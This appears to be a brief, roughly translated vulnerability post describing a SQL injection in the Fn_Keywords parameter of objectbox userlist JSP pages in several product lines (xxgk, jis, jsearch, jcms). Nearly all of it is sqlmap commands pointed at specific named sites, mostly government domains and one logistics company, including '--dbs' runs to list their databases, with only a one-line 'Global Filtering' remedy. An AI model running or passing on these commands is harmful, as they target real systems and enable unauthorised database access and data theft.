General SQL Injection for the full range of products

General SQL Injection for the full range of products

The vulnerability file is:

/Objectbox/selectx_userlist.jsp? Fn_Keywords =

Or

/Objectbox/selx_userlist.jsp? Fn_Keywords =


1) xxgk (Information Disclosure System)

Sqlmap. py-u "http://xxgk.qingzhou.gov.cn/xxgk/workflow/objectbox/selectx_userlist.jsp? Fn_Keywords = xxgk"
 

2) jis (Identity Authentication System)

Sqlmap. py-u "http://www.wugang.gov.cn/jis//objectbox/selx_userlist.jsp? Fn_Keywords = jis"
 

3) jsearch)

Sqlmap. py-u "http://logistics.sinotrans.com/jsearch/objectbox/selectx_userlist.jsp? Fn_Keywords = jsearch"
 

4) jcms (Content Management System)

Sqlmap. py-u "http://www.czjj.gov.cn/jcms//workflow/objectbox/selectx_userlist.jsp? Fn_Keywords = jcms"
 

The other systems are not described in detail, and the harm is very serious.

You can run data directly with SQLMAP,

Sqlmap. py-u "http://xxgk.qingzhou.gov.cn/xxgk/workflow/objectbox/selectx_userlist.jsp? Fn_Keywords = xxgk "-- dbs
 

Sqlmap. py-u "http://www.czjj.gov.cn/jcms//workflow/objectbox/selectx_userlist.jsp? Fn_Keywords = jcms "-- dbs
 

 

Solution:

Global Filtering